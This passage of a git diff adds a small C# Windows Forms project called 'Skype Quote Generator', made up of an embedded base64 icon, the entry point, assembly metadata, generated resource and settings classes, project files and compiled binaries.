AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OGia/TNYvnzwDn/67Mc/9uxPv/y2JH/+d6Y//ne + l//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//ne + l//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nf + mf/53pj/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//nel//53pf/+d6X//ne + l//53pf/+d6X//nel//53pf/+d6Z//ngnf/w1Y3/48Ns/9+3Sf/dqyL/6K8Y//G6JP/yvzP/88VG//TM + Xv/21n/m+N6Zgvvx0xwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA+uq/OvXTdt70xkr/8bsq/9+rHf/gvWD/996c//nfmv/535r/+d+a//nfmv/535r/+d+a//nf + mv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nfmv/535r/+d+a//nf + mv/535r/+d+a//nfmv/535r/+d+a//ngn//mx3X/37I6/+C4Tf/gv2P/5cd3/+3RiP/z2pj/+eKi//nh + oP/54Z//+eCe//nhnv/54J7/+eCf//nhoP/54aH/9t6d/+/Vjv/py33/4MBp/+K7Vf/fszz/3aog/+St + GP/wuCH/8rws//PAOf/zxkr/9Mxe//bTdfP44J+m+eOoS/zz2gQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+uq/DvjgoZj0zGH+88I//++4 + Jv/drCb/4cBn//Xenv/54J7/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ng + nf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//ngnf/54J3/+eCd//jhov/myHr/3bE6/+y4 + Kv/yvzb/8r80//K8LP/wuSX/5rEf/+OtGv/eqRr/26ki/9yrJv/fsC//368u/9+vL//erSn/3Kok/9yo + HP/iqxb/5a4b/+22IP/xuiX/8rws//K/Nf/zwj//9MZM//TKWv/1z2r/99iG3vjfnpj446dN/PLXCQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPnnszr214TJ9Mtb//PCPv/vuij/36sh/9+5VP/q0If/+eOl//nh + oP/54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nhn//54Z//+eGf//nh + n//54aD/+eKk//HYlv/gv2X/3q8x/+26MP/zxUr/9c9q+ffai8z21Hry9tBr//XNYv/1ylj/9MlT//TG + S//0xEb/88RD//PDQf/zw0D/88NA//PDQf/zxEP/9MRG//TGS//0yVP/9cpY//XNYv/20Gv/9tR68ffZ + icb54qOU+eKjXPrpvCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP79 + +AH66r9Q99mKy/TNYf/zxUf/8r4y/+mzIv/erSr/37pU/+TGd//x2Zj/+uSp//rjpv/64qT/+uKj//ri + o//64qP/+uKj//rio//64qT/+uKl//rkqf/03aD/58uB/+C+YP/fsjv/5LIo//LAOv/0yFL/9dBt+fjg + oJz77soiAAAAAAAAAAD76r8e+eOlQfngnWH32YZ6+eSqlPjel6T42oyw99eDvvfXgcD314HA99eDvvjb + jbD43pik+eSqlPfZh3r54J5h+eOlQfvrwB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+OOnP/jgnqb10nL29Mtc//PF + R//ywDj/8bss/+WwIf/dqyX/4bQ7/9+2S//hu1f/6MRk/+XCZP/nw2T/4r1a/964UP/gtkT/3a4u/+Ow + Jf/uuzH/88I+//THT//1zmP/9taA3fjgoHz7780XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPvtyQz435tX+N6ZovbXgOf10Gr/9ctd//TIUv/0xUj/88NC//PC + Pv/zwjz/88E8//PCPf/zwkD/88RF//THTf/0ylb/9c1j//bRcPz32o3M+N+bhPrnszf+/foBAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAPrpuCH54aFS+eKmfPngnpz32Ya2+NyRyPjcj9D43I/Q+NyQ0PfaicL43JCq+eSqkPjd + k2z546k+/fXiDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////AD///////////// + /////4AAD/////////////////wAAAH/////////////4AfwAAAAP///////////8AAAAAAAAB////// + /////wAAAAAAAAAH//////////gAAAAAAAAAAf/////////AAAAAAAAAAAD/////////AAAAAAAAAAAA + f////////AAAAAAAAAAAAD////////AAAAAAAAAAAAAf///////AAAAAAAAAAAAAD///////gAAAAAAA + AAAAAAf//////gAAAAAAAAAAAAAD//////wAAAAAAAAAAAAAA//////wAAAAAAAAAAAAAAH/////4AAA + AAAAAAAAAAAA/////8AAAAAAAAAAAAAAAP////+AAAAAAAAAAAAAAAB/////AAAAAAAAAAAAAAAAf/// + /gAAAAAAAAAAAAAAAD////wAAAAAAAAAAAAAAAA////4AAAAAAAAAAAAAAAAP///8AAAAAAAAAAAAAAA + AB///+AAAAAAAAAAAAAAAAAf///gAAAAAAAAAAAAAAAAH///wAAAAAAAAAAAAAAAAB///4AAAAAAAAAA + AAAAAAAP//8AAAAAAAAAAAAAAAAAD///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAA + AAAAAAAAAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAAAAAAAAD//4 + AAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAA + AA//4AAAAAAAAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAA + AAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAA//4AAAAAA + AAAAAAAAAAAAP/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAA//8A + AAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAD//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAA + AH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAA + AAAAAAAAAAAAf/4AAAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/4A + AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA + AP//AAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAD//gAAAAAAAAAAAAAAAAAA//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH/+AAAAAAA + AAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAA//4AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAAAAAAAAD//AA + AAAAAAAAAAAAAAAAB//wAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAH//AAAAAAAAAAAAAAAAAA + D//wAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAf//AAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAA + AAAAAD//8AAAAAAAAAAAAAAAAAA///AAAAAAAAAAAAAAAAAAf//wAAAAAAAAAAAAAAAAAP//8AAAAAAA + AAAAAAAAAAD///AAAAAAAAAAAAAAAAAB///4AAAAAAAAAAAAAAAAA///+AAAAAAAAAAAAAAAAAP///gA + AAAAAAAAAAAAAAAH///4AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAB////wAAAAAAAAAAAAAAAA/ + ///8AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAH////4AAAAAAAAAAAAAAAD/////AAAAAAAAAAAA + AAAB/////wAAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAA//////gAAAAAAAAAAAAAAf/////8AAAAAA + AAAAAAAAP//////gAAAAAAAAAAAAAP//////8AAAAAAAAAAAAAH///////AAAAAAAAAAAAAH///////4 + AAAAAAAAAAAAH////////AAAAAAAAAAAAH////////8AAAAAAAAAAAH/////////gAAAAAAAAAAH//// + /////8AAAAAAAAAAP//////////wAAAAAAAAA///////////+AAAAAYAAH////////////8AAAAf//// + ////////////wAAAf/////////////////wAB/////////////////////////////////////////// + //////////////////////////////////8= + + + \ No newline at end of file diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs new file mode 100644 index 0000000..faf8126 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Program.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace SkypeQuote +{ + static class Program + { + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Main()); + } + } +} diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..c727477 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Skype Quote Generator")] +[assembly: AssemblyDescription("A tool to generate Skype quotes.")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("SuperNets")] +[assembly: AssemblyProduct("Skype Quote Generator")] +[assembly: AssemblyCopyright("Copyright © 2015 - SuperNets")] +[assembly: AssemblyTrademark("SuperNets")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("d1f9e552-3450-4593-a23f-ac68b5f0fef9")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("6.6.6.7")] +[assembly: AssemblyFileVersion("6.6.6.7")] diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs new file mode 100644 index 0000000..9a1fcff --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace SkypeQuote.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SkypeQuote.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs new file mode 100644 index 0000000..bb8934d --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace SkypeQuote.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings new file mode 100644 index 0000000..abf36c5 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj new file mode 100644 index 0000000..77f800b --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj @@ -0,0 +1,116 @@ + + + + + Debug + AnyCPU + {D1F9E552-3450-4593-A23F-AC68B5F0FEF9} + WinExe + Properties + SkypeQuote + SkypeQuote + v2.0 + 512 + true + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + skype.ico + + + + + + + + + + + Form + + + Main.cs + + + + + Main.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + \ No newline at end of file diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user new file mode 100644 index 0000000..e990f23 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe new file mode 100644 index 0000000..ea2f132 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb new file mode 100644 index 0000000..5f5b43e Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe new file mode 100644 index 0000000..1ef18e8 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest new file mode 100644 index 0000000..f96b1d6 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/Skype Quote 